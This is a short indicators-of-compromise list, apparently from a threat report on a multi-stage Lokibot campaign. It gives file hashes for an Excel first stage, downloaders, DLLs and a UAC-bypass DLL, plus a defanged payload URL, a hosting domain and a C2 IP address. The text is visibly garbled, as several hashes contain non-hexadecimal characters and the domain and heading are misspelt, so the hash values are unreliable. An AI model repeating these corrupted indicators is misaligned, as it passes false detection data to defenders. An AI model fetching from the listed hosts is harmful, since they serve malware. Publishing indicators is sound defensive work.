I0C

Hashes

dsa68a111c359a22965206e7ac7d602d92789dd1aazfoeoc8d89412fc84e24a5 (First stage XLS

file)

6bs3bai4172f0094a00edfefg6887aabo1e8bic49bdc6bi1f34d7f2e32f88d172 (2nd stage packed

downloader)

b36d914ae8e43c6001483dfc206bo8dd1bofbc5299082ea2tbai54df35e7d649 (2nd stage

unpacked DLL)

93ec3c23149c3d5245adf5d8a38c85e32cdaz24e23f8cqdf2e19e1423739908b7 (3rd Stage DLL)
21e23350b05a4b84cdf5c93044d780558e6baf81b2148fddag583930ab7cb836 (DLL used to

bypass UAC)

c9038e31f798119dgeg3e7eatbdd3eof215e24ee2200fcd2azbag460d549894ab ( Lokibot )
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https://umbrella.cisco.com/
https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html
https://www.snort.org/products

URL

hxxp://millsmiltinon[.]Jcom/ojHYhkfkmofwendkfptktnbjgmfkgtdeitobregvdgetyhsk/Xehmigm.exe

Domains

millsmiltinon.com (Hosts 2nd and 3rd Stage)

IP

104.223.143[.]132 (Lokibot C2)
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